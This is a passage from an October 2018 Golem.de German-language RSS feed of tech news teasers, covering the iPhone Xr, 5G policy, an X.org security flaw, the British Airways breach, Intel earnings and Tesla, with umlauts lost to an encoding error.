iPhone Xr, sind ein Revolverheld und entdecken wieder Sicherheitslcken. Sieben Tage und viele Meldungen im berblick. (&lt;a href=&quot;https://www.golem.de/specials/golemwochenrueckblick/&quot;&gt;Golem-Wochenrckblick&lt;/a&gt;, &lt;a href=&quot;https://www.golem.de/specials/business-notebooks/&quot;&gt;Business-Notebooks&lt;/a&gt;) &lt;img src=&quot;https://cpx.golem.de/cpx.php?class=17&amp;amp;aid=137318&amp;amp;page=1&amp;amp;ts=1540623720&quot; alt=&quot;&quot; width=&quot;1&quot; height=&quot;1&quot; /&gt;</description>\n            <comments>https://forum.golem.de/kommentare/politik-recht/wochenrueckblick-wilder-westen-buntes-handy-nutzloses-siegel/121571,list.html</comments>\n            <pubDate>Sat, 27 Oct 2018 08:02:00 +0100</pubDate>\n            <guid>https://www.golem.de/1810/137318-rss.html</guid>\n            <content:encoded><![CDATA[<img src=\"https://www.golem.de/1810/137318-177504-177501_rc.jpg\" width=\"140\" height=\"140\" vspace=\"3\" hspace=\"8\" align=\"left\"> Wir testen das iPhone Xr, sind ein Revolverheld und entdecken wieder Sicherheitslcken. Sieben Tage und viele Meldungen im berblick. (<a href=\"https://www.golem.de/specials/golemwochenrueckblick/\">Golem-Wochenrckblick</a>, <a href=\"https://www.golem.de/specials/business-notebooks/\">Business-Notebooks</a>) <img src=\"https://cpx.golem.de/cpx.php?class=17&amp;aid=137318&amp;page=1&amp;ts=1540623720\" alt=\"\" width=\"1\" height=\"1\" />]]></content:encoded>\n            <slash:comments />\n        </item>\n        <item>\n            <title>Fernsehen: 5G-Netz wird so wichtig wie Strom und Wasser</title>\n            <link>https://www.golem.de/news/fernsehen-5g-netz-wird-so-wichtig-wie-strom-und-wasser-1810-137349-rss.html</link>\n            <description>Ein 5G-FeMBMS-Sendernetz fr die Fernsehverbreitung sorgt fr Aufsehen, noch bevor man wei, ob es funktioniert. Wie Rundfunkbertragung und Mobilfunk zusammenkommen knnen, wurde auf den Medientagen Mnchen besprochen. (&lt;a href=&quot;https://www.golem.de/specials/fernsehen/&quot;&gt;Fernsehen&lt;/a&gt;, &lt;a href=&quot;https://www.golem.de/specials/technologie/&quot;&gt;Technologie&lt;/a&gt;) &lt;img src=&quot;https://cpx.golem.de/cpx.php?class=17&amp;amp;aid=137349&amp;amp;page=1&amp;amp;ts=1540572960&quot; alt=&quot;&quot; width=&quot;1&quot; height=&quot;1&quot; /&gt;</description>\n            <comments>https://forum.golem.de/kommentare/handy/fernsehen-5g-netz-wird-so-wichtig-wie-strom-und-wasser/121570,list.html</comments>\n            <pubDate>Fri, 26 Oct 2018 17:56:00 +0100</pubDate>\n            <guid>https://www.golem.de/1810/137349-rss.html</guid>\n            <content:encoded><![CDATA[<img src=\"https://www.golem.de/1810/137349-177509-177506_rc.jpg\" width=\"140\" height=\"140\" vspace=\"3\" hspace=\"8\" align=\"left\">Ein 5G-FeMBMS-Sendernetz fr die Fernsehverbreitung sorgt fr Aufsehen, noch bevor man wei, ob es funktioniert. Wie Rundfunkbertragung und Mobilfunk zusammenkommen knnen, wurde auf den Medientagen Mnchen besprochen. (<a href=\"https://www.golem.de/specials/fernsehen/\">Fernsehen</a>, <a href=\"https://www.golem.de/specials/technologie/\">Technologie</a>) <img src=\"https://cpx.golem.de/cpx.php?class=17&amp;aid=137349&amp;page=1&amp;ts=1540572960\" alt=\"\" width=\"1\" height=\"1\" />]]></content:encoded>\n            <slash:comments>25</slash:comments>\n        </item>\n        <item>\n            <title>Linux und BSD: Sicherheitslcke in X.org ermglicht Root-Rechte</title>\n            <link>https://www.golem.de/news/linux-und-bsd-sicherheitsluecke-in-x-org-ermoeglicht-root-rechte-1810-137347-rss.html</link>\n            <description>Eine Sicherheitslcke im Displayserver X.org erlaubt unter bestimmten Umstnden das berschreiben von Dateien und das Ausweiten der Benutzerrechte. Der passende Exploit passt in einen Tweet. (&lt;a href=&quot;https://www.golem.de/specials/sicherheitsluecke/&quot;&gt;Sicherheitslcke&lt;/a&gt;, &lt;a href=&quot;https://www.golem.de/specials/openbsd/&quot;&gt;OpenBSD&lt;/a&gt;) &lt;img src=&quot;https://cpx.golem.de/cpx.php?class=17&amp;amp;aid=137347&amp;amp;page=1&amp;amp;ts=1540564620&quot; alt=&quot;&quot; width=&quot;1&quot; height=&quot;1&quot; /&gt;</description>\n            <comments>https://forum.golem.de/kommentare/security/linux-und-bsd-sicherheitsluecke-in-x.org-ermoeglicht-root-rechte/121569,list.html</comments>\n            <pubDate>Fri, 26 Oct 2018 15:37:00 +0100</pubDate>\n            <guid>https://www.golem.de/1810/137347-rss.html</guid>\n            <content:encoded><![CDATA[<img src=\"https://www.golem.de/1810/137347-177500-177497_rc.jpg\" width=\"140\" height=\"140\" vspace=\"3\" hspace=\"8\" align=\"left\">Eine Sicherheitslcke im Displayserver X.org erlaubt unter bestimmten Umstnden das berschreiben von Dateien und das Ausweiten der Benutzerrechte. Der passende Exploit passt in einen Tweet. (<a href=\"https://www.golem.de/specials/sicherheitsluecke/\">Sicherheitslcke</a>, <a href=\"https://www.golem.de/specials/openbsd/\">OpenBSD</a>) <img src=\"https://cpx.golem.de/cpx.php?class=17&amp;aid=137347&amp;page=1&amp;ts=1540564620\" alt=\"\" width=\"1\" height=\"1\" />]]></content:encoded>\n            <slash:comments>47</slash:comments>\n        </item>\n        <item>\n            <title>Augsburg: Fujitsu Deutschland macht alles dicht</title>\n            <link>https://www.golem.de/news/augsburg-fujitsu-deutschland-macht-alles-dicht-1810-137348-rss.html</link>\n            <description>Fujitsu will seine gesamte Fertigung auerhalb Japans schlieen. In Deutschland ist der Standort in Augsburg komplett betroffen. (&lt;a href=&quot;https://www.golem.de/specials/fujitsu/&quot;&gt;Fujitsu&lt;/a&gt;, &lt;a href=&quot;https://www.golem.de/specials/sap/&quot;&gt;SAP&lt;/a&gt;) &lt;img src=&quot;https://cpx.golem.de/cpx.php?class=17&amp;amp;aid=137348&amp;amp;page=1&amp;amp;ts=1540562340&quot; alt=&quot;&quot; width=&quot;1&quot; height=&quot;1&quot; /&gt;</description>\n            <comments>https://forum.golem.de/kommentare/wirtschaft/augsburg-fujitsu-deutschland-macht-alles-dicht/121568,list.html</comments>\n            <pubDate>Fri, 26 Oct 2018 14:59:00 +0100</pubDate>\n            <guid>https://www.golem.de/1810/137348-rss.html</guid>\n            <content:encoded><![CDATA[<img src=\"https://www.golem.de/1810/137348-177485-177484_rc.jpg\" width=\"140\" height=\"140\" vspace=\"3\" hspace=\"8\" align=\"left\">Fujitsu will seine gesamte Fertigung auerhalb Japans schlieen. In Deutschland ist der Standort in Augsburg komplett betroffen. (<a href=\"https://www.golem.de/specials/fujitsu/\">Fujitsu</a>, <a href=\"https://www.golem.de/specials/sap/\">SAP</a>) <img src=\"https://cpx.golem.de/cpx.php?class=17&amp;aid=137348&amp;page=1&amp;ts=1540562340\" alt=\"\" width=\"1\" height=\"1\" />]]></content:encoded>\n            <slash:comments>56</slash:comments>\n        </item>\n        <item>\n            <title>Bundesnetzagentur: Seehofer fordert Verschiebung von 5G-Auktion</title>\n            <link>https://www.golem.de/news/bundesnetzagentur-seehofer-fordert-verschiebung-von-5g-auktion-1810-137346-rss.html</link>\n            <description>Bundesinnenminister Horst Seehofer will die 5G-Auktion verschieben, bis die lndlichen Regionen besser bercksichtigt werden. Er wird von einer Gruppe um den CDU-Abgeordneten Stefan Rouenhoff untersttzt. (&lt;a href=&quot;https://www.golem.de/specials/5g/&quot;&gt;5G&lt;/a&gt;, &lt;a href=&quot;https://www.golem.de/specials/bundesnetzagentur/&quot;&gt;Bundesnetzagentur&lt;/a&gt;) &lt;img src=&quot;https://cpx.golem.de/cpx.php?class=17&amp;amp;aid=137346&amp;amp;page=1&amp;amp;ts=1540557900&quot; alt=&quot;&quot; width=&quot;1&quot; height=&quot;1&quot; /&gt;</description>\n            <comments>https://forum.golem.de/kommentare/handy/bundesnetzagentur-seehofer-fordert-verschiebung-von-5g-auktion/121567,list.html</comments>\n            <pubDate>Fri, 26 Oct 2018 13:45:00 +0100</pubDate>\n            <guid>https://www.golem.de/1810/137346-rss.html</guid>\n            <content:encoded><![CDATA[<img src=\"https://www.golem.de/1810/137346-177483-177480_rc.jpg\" width=\"140\" height=\"140\" vspace=\"3\" hspace=\"8\" align=\"left\">Bundesinnenminister Horst Seehofer will die 5G-Auktion verschieben, bis die lndlichen Regionen besser bercksichtigt werden. Er wird von einer Gruppe um den CDU-Abgeordneten Stefan Rouenhoff untersttzt. (<a href=\"https://www.golem.de/specials/5g/\">5G</a>, <a href=\"https://www.golem.de/specials/bundesnetzagentur/\">Bundesnetzagentur</a>) <img src=\"https://cpx.golem.de/cpx.php?class=17&amp;aid=137346&amp;page=1&amp;ts=1540557900\" alt=\"\" width=\"1\" height=\"1\" />]]></content:encoded>\n            <slash:comments>14</slash:comments>\n        </item>\n        <item>\n            <title>Linux und Patente: Open Source bei Microsoft ist &quot;Kultur statt Strategie&quot;</title>\n            <link>https://www.golem.de/news/linux-und-patente-open-source-bei-microsoft-ist-kultur-statt-strategie-1810-137345-rss.html</link>\n            <description>Der Microsoft-Angestellte Stephen Walli beschreibt den Wandel bei Microsoft hin zu Open Source Software und Linux als kulturell getrieben. Mit Blick auf den Beitritt zu dem Patentpool des Open Invention Network zeigt sich jedoch auch, dass das Unternehmen noch sehr viel Arbeit vor sich hat. Ein Bericht von Sebastian Grner (&lt;a href=&quot;https://www.golem.de/specials/microsoft/&quot;&gt;Microsoft&lt;/a&gt;, &lt;a href=&quot;https://www.golem.de/specials/softwarepatente/&quot;&gt;Softwarepatent&lt;/a&gt;) &lt;img src=&quot;https://cpx.golem.de/cpx.php?class=17&amp;amp;aid=137345&amp;amp;page=1&amp;amp;ts=1540556820&quot; alt=&quot;&quot; width=&quot;1&quot; height=&quot;1&quot; /&gt;</description>\n            <comments>https://forum.golem.de/kommentare/politik-recht/linux-und-patente-open-source-bei-microsoft-ist-kultur-statt-strategie/121566,list.html</comments>\n            <pubDate>Fri, 26 Oct 2018 13:27:00 +0100</pubDate>\n            <guid>https://www.golem.de/1810/137345-rss.html</guid>\n            <content:encoded><![CDATA[<img src=\"https://www.golem.de/1810/137345-177479-177475_rc.jpg\" width=\"140\" height=\"140\" vspace=\"3\" hspace=\"8\" align=\"left\">Der Microsoft-Angestellte Stephen Walli beschreibt den Wandel bei Microsoft hin zu Open Source Software und Linux als kulturell getrieben. Mit Blick auf den Beitritt zu dem Patentpool des Open Invention Network zeigt sich jedoch auch, dass das Unternehmen noch sehr viel Arbeit vor sich hat. Ein Bericht von Sebastian Grner (<a href=\"https://www.golem.de/specials/microsoft/\">Microsoft</a>, <a href=\"https://www.golem.de/specials/softwarepatente/\">Softwarepatent</a>) <img src=\"https://cpx.golem.de/cpx.php?class=17&amp;aid=137345&amp;page=1&amp;ts=1540556820\" alt=\"\" width=\"1\" height=\"1\" />]]></content:encoded>\n            <slash:comments>20</slash:comments>\n        </item>\n        <item>\n            <title>Sicherheitslcke: Daten von 185.000 weiteren British-Airways-Kunden betroffen</title>\n            <link>https://www.golem.de/news/sicherheitsluecke-daten-von-185-000-weiteren-british-airways-kunden-betroffen-1810-137344-rss.html</link>\n            <description>Von dem Datenleck im Buchungssystem von British Airways waren deutlich mehr Kunden betroffen als bisher bekannt. Die Fluggesellschaft rt betroffenen Kunden, ihre Bank zu kontaktieren. Kreditkarten werden in diesem Fall hufig komplett ausgetauscht. (&lt;a href=&quot;https://www.golem.de/specials/sicherheitsluecke/&quot;&gt;Sicherheitslcke&lt;/a&gt;, &lt;a href=&quot;https://www.golem.de/specials/datenschutz/&quot;&gt;Datenschutz&lt;/a&gt;) &lt;img src=&quot;https://cpx.golem.de/cpx.php?class=17&amp;amp;aid=137344&amp;amp;page=1&amp;amp;ts=1540553820&quot; alt=&quot;&quot; width=&quot;1&quot; height=&quot;1&quot; /&gt;</description>\n            <comments>https://forum.golem.de/kommentare/security/sicherheitsluecke-daten-von-185.000-weiteren-british-airways-kunden-betroffen/121565,list.html</comments>\n            <pubDate>Fri, 26 Oct 2018 12:37:00 +0100</pubDate>\n            <guid>https://www.golem.de/1810/137344-rss.html</guid>\n            <content:encoded><![CDATA[<img src=\"https://www.golem.de/1810/137344-177474-177471_rc.jpg\" width=\"140\" height=\"140\" vspace=\"3\" hspace=\"8\" align=\"left\">Von dem Datenleck im Buchungssystem von British Airways waren deutlich mehr Kunden betroffen als bisher bekannt. Die Fluggesellschaft rt betroffenen Kunden, ihre Bank zu kontaktieren. Kreditkarten werden in diesem Fall hufig komplett ausgetauscht. (<a href=\"https://www.golem.de/specials/sicherheitsluecke/\">Sicherheitslcke</a>, <a href=\"https://www.golem.de/specials/datenschutz/\">Datenschutz</a>) <img src=\"https://cpx.golem.de/cpx.php?class=17&amp;aid=137344&amp;page=1&amp;ts=1540553820\" alt=\"\" width=\"1\" height=\"1\" />]]></content:encoded>\n            <slash:comments />\n        </item>\n        <item>\n            <title>iPhone Xr im Test: Apples gnstigeres iPhone ist nicht gnstig</title>\n            <link>https://www.golem.de/news/iphone-xr-im-test-apples-guenstiges-iphone-ist-nicht-guenstig-1810-137327-rss.html</link>\n            <description>Apple versucht es 2018 wieder einmal mit einem relativ preisgnstigen iPhone - weniger teuer als die Xs-Modelle, aber mit 850 Euro auch nicht gerade preiswert. Kufer bekommen dafr allerdings auch ein Smartphone mit sehr guter Ausstattung, in einigen Punkten wurde jedoch auf Hardware der teuren Modelle verzichtet. Ein Test von Tobias Kltzsch (&lt;a href=&quot;https://www.golem.de/specials/iphone/&quot;&gt;iPhone&lt;/a&gt;, &lt;a href=&quot;https://www.golem.de/specials/smartphone/&quot;&gt;Smartphone&lt;/a&gt;) &lt;img src=&quot;https://cpx.golem.de/cpx.php?class=17&amp;amp;aid=137327&amp;amp;page=1&amp;amp;ts=1540548180&quot; alt=&quot;&quot; width=&quot;1&quot; height=&quot;1&quot; /&gt;</description>\n            <comments>https://forum.golem.de/kommentare/handy/iphone-xr-im-test-apples-guenstigeres-iphone-ist-nicht-guenstig/121563,list.html</comments>\n            <pubDate>Fri, 26 Oct 2018 11:03:00 +0100</pubDate>\n            <guid>https://www.golem.de/1810/137327-rss.html</guid>\n            <content:encoded><![CDATA[<img src=\"https://www.golem.de/1810/137327-177418-177414_rc.jpg\" width=\"140\" height=\"140\" vspace=\"3\" hspace=\"8\" align=\"left\">Apple versucht es 2018 wieder einmal mit einem relativ preisgnstigen iPhone - weniger teuer als die Xs-Modelle, aber mit 850 Euro auch nicht gerade preiswert. Kufer bekommen dafr allerdings auch ein Smartphone mit sehr guter Ausstattung, in einigen Punkten wurde jedoch auf Hardware der teuren Modelle verzichtet. Ein Test von Tobias Kltzsch (<a href=\"https://www.golem.de/specials/iphone/\">iPhone</a>, <a href=\"https://www.golem.de/specials/smartphone/\">Smartphone</a>) <img src=\"https://cpx.golem.de/cpx.php?class=17&amp;aid=137327&amp;page=1&amp;ts=1540548180\" alt=\"\" width=\"1\" height=\"1\" />]]></content:encoded>\n            <slash:comments>169</slash:comments>\n        </item>\n        <item>\n            <title>Microsoft: PC-Spieleangebot des Xbox Game Pass wird erweitert</title>\n            <link>https://www.golem.de/news/microsoft-pc-spieleangebot-des-xbox-game-pass-wird-erweitert-1810-137343-rss.html</link>\n            <description>Der Xbox Game Pass soll knftig um mehr Angebote fr Windows-PC erweitert werden, sagt Microsoft-Chef Satya Nadella. Derzeit gibt es fr 10 Euro nur wenige plattformbergreifend verfgbare Spiele. (&lt;a href=&quot;https://www.golem.de/specials/xbox-one/&quot;&gt;Xbox One&lt;/a&gt;, &lt;a href=&quot;https://www.golem.de/specials/microsoft/&quot;&gt;Microsoft&lt;/a&gt;) &lt;img src=&quot;https://cpx.golem.de/cpx.php?class=17&amp;amp;aid=137343&amp;amp;page=1&amp;amp;ts=1540546800&quot; alt=&quot;&quot; width=&quot;1&quot; height=&quot;1&quot; /&gt;</description>\n            <comments>https://forum.golem.de/kommentare/wirtschaft/microsoft-pc-spieleangebot-des-xbox-game-pass-wird-erweitert/121562,list.html</comments>\n            <pubDate>Fri, 26 Oct 2018 10:40:00 +0100</pubDate>\n            <guid>https://www.golem.de/1810/137343-rss.html</guid>\n            <content:encoded><![CDATA[<img src=\"https://www.golem.de/1810/137343-177453-177450_rc.jpg\" width=\"140\" height=\"140\" vspace=\"3\" hspace=\"8\" align=\"left\">Der Xbox Game Pass soll knftig um mehr Angebote fr Windows-PC erweitert werden, sagt Microsoft-Chef Satya Nadella. Derzeit gibt es fr 10 Euro nur wenige plattformbergreifend verfgbare Spiele. (<a href=\"https://www.golem.de/specials/xbox-one/\">Xbox One</a>, <a href=\"https://www.golem.de/specials/microsoft/\">Microsoft</a>) <img src=\"https://cpx.golem.de/cpx.php?class=17&amp;aid=137343&amp;page=1&amp;ts=1540546800\" alt=\"\" width=\"1\" height=\"1\" />]]></content:encoded>\n            <slash:comments>19</slash:comments>\n        </item>\n        <item>\n            <title>Breitbandgesellschaft: Grne wollen Netzbetreiber zum Ausbau zwingen</title>\n            <link>https://www.golem.de/news/breitbandgesellschaft-gruene-wollen-netzbetreiber-zum-ausbau-zwingen-1810-137342-rss.html</link>\n            <description>Die Grnen haben die Netzversorgung in Deutschland analysiert. Die Partei, die zurzeit in Whlerumfragen stark zugewinnt, fordert den Breitbandausbau auf Kosten der Konzerne und will Glasfaser staatlich durchsetzen. (&lt;a href=&quot;https://www.golem.de/specials/breitband/&quot;&gt;Breitband&lt;/a&gt;, &lt;a href=&quot;https://www.golem.de/specials/handy/&quot;&gt;Handy&lt;/a&gt;) &lt;img src=&quot;https://cpx.golem.de/cpx.php?class=17&amp;amp;aid=137342&amp;amp;page=1&amp;amp;ts=1540545840&quot; alt=&quot;&quot; width=&quot;1&quot; height=&quot;1&quot; /&gt;</description>\n            <comments>https://forum.golem.de/kommentare/politik-recht/breitbandgesellschaft-gruene-wollen-netzbetreiber-zum-ausbau-zwingen/121561,list.html</comments>\n            <pubDate>Fri, 26 Oct 2018 10:24:00 +0100</pubDate>\n            <guid>https://www.golem.de/1810/137342-rss.html</guid>\n            <content:encoded><![CDATA[<img src=\"https://www.golem.de/1807/135605-169300-169297_rc.jpg\" width=\"140\" height=\"140\" vspace=\"3\" hspace=\"8\" align=\"left\">Die Grnen haben die Netzversorgung in Deutschland analysiert. Die Partei, die zurzeit in Whlerumfragen stark zugewinnt, fordert den Breitbandausbau auf Kosten der Konzerne und will Glasfaser staatlich durchsetzen. (<a href=\"https://www.golem.de/specials/breitband/\">Breitband</a>, <a href=\"https://www.golem.de/specials/handy/\">Handy</a>) <img src=\"https://cpx.golem.de/cpx.php?class=17&amp;aid=137342&amp;page=1&amp;ts=1540545840\" alt=\"\" width=\"1\" height=\"1\" />]]></content:encoded>\n            <slash:comments>22</slash:comments>\n        </item>\n        <item>\n            <title>Studie: Silicon Valley dient als rechte Hand des groen Bruders</title>\n            <link>https://www.golem.de/news/studie-silicon-valley-dient-als-rechte-hand-des-grossen-bruders-1810-137316-rss.html</link>\n            <description>Die US-Hightech-Branche verdingt sich zunehmend als technischer Dienstleister fr staatliche Big-Brother-Projekte wie die berwachung und Abschiebung von Immigranten, heit es in einem Bericht von Brgerrechtlern. Amazon und Palantir verdienten damit am meisten. Von Stefan Krempl (&lt;a href=&quot;https://www.golem.de/specials/datenschutz/&quot;&gt;Datenschutz&lt;/a&gt;, &lt;a href=&quot;https://www.golem.de/specials/ibm/&quot;&gt;IBM&lt;/a&gt;) &lt;img src=&quot;https://cpx.golem.de/cpx.php?class=17&amp;amp;aid=137316&amp;amp;page=1&amp;amp;ts=1540543080&quot; alt=&quot;&quot; width=&quot;1&quot; height=&quot;1&quot; /&gt;</description>\n            <comments>https://forum.golem.de/kommentare/security/studie-silicon-valley-dient-als-rechte-hand-des-grossen-bruders/121560,list.html</comments>\n            <pubDate>Fri, 26 Oct 2018 09:38:00 +0100</pubDate>\n            <guid>https://www.golem.de/1810/137316-rss.html</guid>\n            <content:encoded><![CDATA[<img src=\"https://www.golem.de/1810/137316-177360-177357_rc.jpg\" width=\"140\" height=\"140\" vspace=\"3\" hspace=\"8\" align=\"left\">Die US-Hightech-Branche verdingt sich zunehmend als technischer Dienstleister fr staatliche Big-Brother-Projekte wie die berwachung und Abschiebung von Immigranten, heit es in einem Bericht von Brgerrechtlern. Amazon und Palantir verdienten damit am meisten. Von Stefan Krempl (<a href=\"https://www.golem.de/specials/datenschutz/\">Datenschutz</a>, <a href=\"https://www.golem.de/specials/ibm/\">IBM</a>) <img src=\"https://cpx.golem.de/cpx.php?class=17&amp;aid=137316&amp;page=1&amp;ts=1540543080\" alt=\"\" width=\"1\" height=\"1\" />]]></content:encoded>\n            <slash:comments>20</slash:comments>\n        </item>\n        <item>\n            <title>Bethesda: Postnukleare PC-Systemanforderungen fr Fallout 76</title>\n            <link>https://www.golem.de/news/bethesda-postnukleare-pc-systemanforderungen-fuer-fallout-76-1810-137340-rss.html</link>\n            <description>Kurz vor dem Start der Betaversion fr PC-Spieler hat Bethesda die Systemanforderung von Fallout 76 verffentlicht. Hoffnungen auf lange Abenteuer in der Vorabversion gibt es aber zumindest nach den Erfahrungen des Xbox-Zugangs eher nicht. (&lt;a href=&quot;https://www.golem.de/specials/fallout-76/&quot;&gt;Fallout 76&lt;/a&gt;, &lt;a href=&quot;https://www.golem.de/specials/rollenspiel/&quot;&gt;Rollenspiel&lt;/a&gt;) &lt;img src=&quot;https://cpx.golem.de/cpx.php?class=17&amp;amp;aid=137340&amp;amp;page=1&amp;amp;ts=1540542180&quot; alt=&quot;&quot; width=&quot;1&quot; height=&quot;1&quot; /&gt;</description>\n            <comments>https://forum.golem.de/kommentare/games/bethesda-postnukleare-pc-systemanforderungen-fuer-fallout-76/121559,list.html</comments>\n            <pubDate>Fri, 26 Oct 2018 09:23:00 +0100</pubDate>\n            <guid>https://www.golem.de/1810/137340-rss.html</guid>\n            <content:encoded><![CDATA[<img src=\"https://www.golem.de/1810/137340-177448-177445_rc.jpg\" width=\"140\" height=\"140\" vspace=\"3\" hspace=\"8\" align=\"left\">Kurz vor dem Start der Betaversion fr PC-Spieler hat Bethesda die Systemanforderung von Fallout 76 verffentlicht. Hoffnungen auf lange Abenteuer in der Vorabversion gibt es aber zumindest nach den Erfahrungen des Xbox-Zugangs eher nicht. (<a href=\"https://www.golem.de/specials/fallout-76/\">Fallout 76</a>, <a href=\"https://www.golem.de/specials/rollenspiel/\">Rollenspiel</a>) <img src=\"https://cpx.golem.de/cpx.php?class=17&amp;aid=137340&amp;page=1&amp;ts=1540542180\" alt=\"\" width=\"1\" height=\"1\" />]]></content:encoded>\n            <slash:comments>101</slash:comments>\n        </item>\n        <item>\n            <title>Quartalszahlen: Intel legt 19-Milliarden-USD-Rekord vor</title>\n            <link>https://www.golem.de/news/quartalszahlen-intel-legt-19-milliarden-usd-rekord-vor-1810-137339-rss.html</link>\n            <description>Ungeachtet der 14-nm-Knappheit und diverser Sicherheitslcken konnte Intel im dritten Quartal 2018 mehr Umsatz erwirtschaften und mehr Gewinn erzielen als jemals zuvor. Vor allem das florierende Server-Geschft wird bei Intel immer wichtiger. (&lt;a href=&quot;https://www.golem.de/specials/intel/&quot;&gt;Intel&lt;/a&gt;, &lt;a href=&quot;https://www.golem.de/specials/cpu/&quot;&gt;Prozessor&lt;/a&gt;) &lt;img src=&quot;https://cpx.golem.de/cpx.php?class=17&amp;amp;aid=137339&amp;amp;page=1&amp;amp;ts=1540540260&quot; alt=&quot;&quot; width=&quot;1&quot; height=&quot;1&quot; /&gt;</description>\n            <comments>https://forum.golem.de/kommentare/wirtschaft/quartalszahlen-intel-legt-19-milliarden-usd-rekord-vor/121558,list.html</comments>\n            <pubDate>Fri, 26 Oct 2018 08:51:00 +0100</pubDate>\n            <guid>https://www.golem.de/1810/137339-rss.html</guid>\n            <content:encoded><![CDATA[<img src=\"https://www.golem.de/1810/137339-177444-177441_rc.jpg\" width=\"140\" height=\"140\" vspace=\"3\" hspace=\"8\" align=\"left\">Ungeachtet der 14-nm-Knappheit und diverser Sicherheitslcken konnte Intel im dritten Quartal 2018 mehr Umsatz erwirtschaften und mehr Gewinn erzielen als jemals zuvor. Vor allem das florierende Server-Geschft wird bei Intel immer wichtiger. (<a href=\"https://www.golem.de/specials/intel/\">Intel</a>, <a href=\"https://www.golem.de/specials/cpu/\">Prozessor</a>) <img src=\"https://cpx.golem.de/cpx.php?class=17&amp;aid=137339&amp;page=1&amp;ts=1540540260\" alt=\"\" width=\"1\" height=\"1\" />]]></content:encoded>\n            <slash:comments>10</slash:comments>\n        </item>\n        <item>\n            <title>Physik: Weg mit der Schnheit!</title>\n            <link>https://www.golem.de/news/physik-weg-mit-der-schoenheit-1810-137161-rss.html</link>\n            <description>Ist eine Theorie richtig, nur weil sie schn ist? Nein, sagt Sabine Hossenfelder. In ihrem Buch &quot;Das hssliche Universum&quot; zeigt die theoretische Physikerin, wie das Schnheitsdenken die Wissenschaft lhmt und erklrt dabei recht unterhaltsam die unterschiedlichen Theorien und Modelle der Teilchenphysik. Eine Rezension von Friedemann Zweynert (&lt;a href=&quot;https://www.golem.de/specials/physik/&quot;&gt;Physik&lt;/a&gt;, &lt;a href=&quot;https://www.golem.de/specials/internet/&quot;&gt;Internet&lt;/a&gt;) &lt;img src=&quot;https://cpx.golem.de/cpx.php?class=17&amp;amp;aid=137161&amp;amp;page=1&amp;amp;ts=1540537380&quot; alt=&quot;&quot; width=&quot;1&quot; height=&quot;1&quot; /&gt;</description>\n            <comments>https://forum.golem.de/kommentare/internet/physik-weg-mit-der-schoenheit/121557,list.html</comments>\n            <pubDate>Fri, 26 Oct 2018 08:03:00 +0100</pubDate>\n            <guid>https://www.golem.de/1810/137161-rss.html</guid>\n            <content:encoded><![CDATA[<img src=\"https://www.golem.de/1810/137161-176716-176713_rc.jpg\" width=\"140\" height=\"140\" vspace=\"3\" hspace=\"8\" align=\"left\">Ist eine Theorie richtig, nur weil sie schn ist? Nein, sagt Sabine Hossenfelder. In ihrem Buch \"Das hssliche Universum\" zeigt die theoretische Physikerin, wie das Schnheitsdenken die Wissenschaft lhmt und erklrt dabei recht unterhaltsam die unterschiedlichen Theorien und Modelle der Teilchenphysik. Eine Rezension von Friedemann Zweynert (<a href=\"https://www.golem.de/specials/physik/\">Physik</a>, <a href=\"https://www.golem.de/specials/internet/\">Internet</a>) <img src=\"https://cpx.golem.de/cpx.php?class=17&amp;aid=137161&amp;page=1&amp;ts=1540537380\" alt=\"\" width=\"1\" height=\"1\" />]]></content:encoded>\n            <slash:comments>86</slash:comments>\n        </item>\n        <item>\n            <title>Elon Musk: Teslas Model 3 fr 35.000 US-Dollar derzeit unmglich</title>\n            <link>https://www.golem.de/news/elon-musk-teslas-model-3-fuer-35-000-us-dollar-derzeit-unmoeglich-1810-137335-rss.html</link>\n            <description>Tesla-Chef Elon Musk hat eingerumt, das bei 35.000 US-Dollar startende Basismodell des Elektroautos Model 3 immer noch nicht liefern zu knnen. (&lt;a href=&quot;https://www.golem.de/specials/tesla-model-3/&quot;&gt;Tesla Model 3&lt;/a&gt;, &lt;a href=&quot;https://www.golem.de/specials/technologie/&quot;&gt;Technologie&lt;/a&gt;) &lt;img src=&quot;https://cpx.golem.de/cpx.php?class=17&amp;amp;aid=137335&amp;amp;page=1&amp;amp;ts=1540533540&quot; alt=&quot;&quot; width=&quot;1&quot; height=&quot;1&quot; /&gt;</description>\n            <comments>https://forum.golem.de/kommentare/automobil/elon-musk-teslas-model-3-fuer-35.000-us-dollar-derzeit-unmoeglich/121556,list.html</comments>\n            <pubDate>Fri, 26 Oct 2018 06:59:00 +0100</pubDate>\n            <guid>https://www.golem.de/1810/137335-rss.html</guid>\n            <content:encoded><![CDATA[<img src=\"https://www.golem.de/1810/137335-177428-177424_rc.jpg\" width=\"140\" height=\"140\" vspace=\"3\" hspace=\"8\" align=\"left\">Tesla-Chef Elon Musk hat eingerumt, das bei 35.000 US-Dollar startende Basismodell des Elektroautos Model 3 immer noch nicht liefern zu knnen. (<a href=\"https://www.golem.de/specials/tesla-model-3/\">Tesla Model 3</a>, <a href=\"https://www.golem.de/specials/technologie/\">Technologie</a>) <img src=\"https://cpx.golem.de/cpx.php?class=17&amp;aid=137335&amp;page=1&amp;ts=1540533540\" alt=\"\" width=\"1\" height=\"1\" />]]></content:encoded>\n            <slash:comments>235</slash:comments>\n        </item>\n        <item>\n            <title>Solarzellen als Dach: Tesla-Solarschindeln verzgern sich bis 2019</title>\n            <link>https://www.golem.de/news/solarzellen-als-dach-tesla-solarschindeln-verzoegern-sich-auf-2019-1810-137334-rss.html</link>\n            <description>Tesla wird die Serienproduktion seiner Solardachziegel nicht mehr wie geplant in diesem Jahr starten. Nach Angaben von Firmenchef Elon Musk verschiebt sich das Vorhaben auf 2019. (&lt;a href=&quot;https://www.golem.de/specials/solarenergie/&quot;&gt;Solarenergie&lt;/a&gt;, &lt;a href=&quot;https://www.golem.de/specials/technologie/&quot;&gt;Technologie&lt;/a&gt;) &lt;img src=&quot;https://cpx.golem.de/cpx.php?class=17&amp;amp;aid=137334&amp;amp;page=1&amp;amp;ts=1540532460&quot; alt=&quot;&quot; width=&quot;1&quot; height=&quot;1&quot; /&gt;</description>\n            <comments>https://forum.golem.de/kommentare/wissenschaft/solarzellen-als-dach-tesla-solarschindeln-verzoegern-sich-bis-2019/121555,list.html</comments>\n            <pubDate>Fri, 26 Oct 2018 06:41:00 +0100</pubDate>\n            <guid>https://www.golem.de/1810/137334-rss.html</guid>\n            <content:encoded><![CDATA[<img src=\"https://www.golem.de/1705/127761-139613-i_rc.jpg\" width=\"140\" height=\"140\" vspace=\"3\" hspace=\"8\" align=\"left\">Tesla wird die Serienproduktion seiner Solardachziegel 